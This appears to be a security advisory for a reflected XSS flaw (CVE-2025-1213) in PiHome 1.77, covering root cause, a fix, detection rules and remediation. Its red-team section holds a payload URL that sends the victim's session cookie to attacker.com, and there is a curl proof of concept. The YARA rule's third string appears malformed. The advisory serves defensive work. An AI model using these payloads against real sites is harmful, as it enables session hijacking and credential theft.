CVE-2025-1213

Executive Summary

CVE-2025-1213 is a reflected Cross-Site Scripting (XSS) vulnerability in PiHome version 1.77, an open-source home automation system developed by pihome-shc. The flaw resides in the /index.php file, where the $_SERVER['PHP_SELF'] variable is improperly sanitized before being rendered in the HTML output. An attacker can craft a malicious URL containing JavaScript payloads in the PHP_SELF path, which, when visited by an authenticated or unauthenticated user, executes arbitrary scripts in the context of the victim's browser session. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), with a public proof-of-concept exploit available. No official patch has been released, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

PiHome is a PHP-based application distributed via GitHub and potentially through package managers like Composer. The vulnerability affects the core application logic, not a third-party library. However, users should verify the integrity of their PiHome installation and consider applying virtual patching via a Web Application Firewall (WAF) until an official fix is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Potential for limited data exposure.
• Integrity Impact: Low (I:L) – Possible modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the public availability of exploit code and the lack of a patch increase the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in PHP, stemming from the insecure use of $_SERVER['PHP_SELF']. In PHP, $_SERVER['PHP_SELF'] contains the filename of the currently executing script, relative to the document root. However, if the URL contains a path after the script name (e.g., /index.php/), the value of PHP_SELF includes that path. An attacker can inject JavaScript by appending a payload to the URL path.

Example Malicious URL:

http://target.com/index.php/"><script>alert('XSS')</script>

When the server processes this request, $_SERVER['PHP_SELF'] becomes /index.php/"><script>alert('XSS')</script>. If the application echoes this value directly into an HTML form action or other context without proper encoding, the injected script executes.

Root Cause: The application likely uses $_SERVER['PHP_SELF'] in a form action attribute without applying htmlspecialchars() or similar escaping. For example:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

This is a well-known anti-pattern in PHP development.

Vulnerable vs. Patched Code

Vulnerable Code (PiHome 1.77):

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
    <!-- form fields -->
</form>

Patched Code (Recommended Fix):

<form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES, 'UTF-8'); ?>" method="post">
    <!-- form fields -->
</form>

Alternatively, use a hardcoded path or basename():

<form action="/index.php" method="post">

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable PiHome 1.77 instance (e.g., Docker container or local installation).
• A web browser or curl.

Step-by-Step Exploit:

1. Identify the target PiHome URL (e.g., http://target.local/index.php).
2. Craft a malicious URL with a JavaScript payload:

   http://target.local/index.php/"><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Send the link to a victim (e.g., via email or social engineering).
4. When the victim clicks the link, the script executes, sending their session cookie to the attacker's server.

Proof-of-Concept (PoC) using curl:

curl -v "http://target.local/index.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E"

If the response contains the injected script in the HTML, the vulnerability is confirmed.

Blue Team (Defense & Detection)

Detection Steps:

• Monitor web server logs for unusual URL patterns containing <script> tags or encoded equivalents.
• Look for requests to /index.php/ followed by suspicious characters (e.g., ", >, <).
• Use a WAF to block requests with XSS signatures.

Lab Setup for Testing:

• Deploy PiHome 1.77 in an isolated environment (e.g., Docker).
• Use a tool like Burp Suite or OWASP ZAP to replay the exploit and verify detection.

Indicators of Compromise (IOCs)

• URL Pattern: /index.php/ followed by <script> tags or URL-encoded equivalents.
• HTTP Request Example:

  GET /index.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E HTTP/1.1
  Host: target.local
  

• Log Entry: Web server logs showing %22%3E%3Cscript%3E in the request URI.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser (if cookie exfiltration is attempted).

Detection Engineering

YARA Rule

rule CVE_2025_1213_PiHome_XSS {
    meta:
        description = "Detects PiHome XSS exploit attempts in web server logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1213"
    strings:
        $xss1 = "/index.php/\"<script" ascii wide nocase
        $xss2 = "/index.php/%22%3E%3Cscript" ascii wide nocase
        $xss3 = "/index.php/"><script" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: PiHome CVE-2025-1213 XSS Attempt
id: 8a9b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects reflected XSS attempts against PiHome /index.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '/index.php/"><script'
            - '/index.php/%22%3E%3Cscript'
            - '/index.php/"><img'
    condition: selection
falsepositives:
    - Legitimate use of special characters in URL (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1213 PiHome XSS Attempt"; flow:to_server,established; content:"/index.php/"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy a WAF rule to block requests containing <script in the URI path after /index.php/.
2. Input Sanitization: Manually patch the vulnerable file by replacing $_SERVER['PHP_SELF'] with htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES, 'UTF-8') or a hardcoded path.
3. User Awareness: Educate users not to click suspicious links, especially those containing raw HTML/JavaScript.

Long-Term Fix:

• Upgrade to a patched version once released by the vendor.
• Consider migrating to a more actively maintained home automation solution if PiHome remains unpatched.

Workaround:

• Disable the use of $_SERVER['PHP_SELF'] in all forms by modifying the application code to use a static action URL.

Valters IT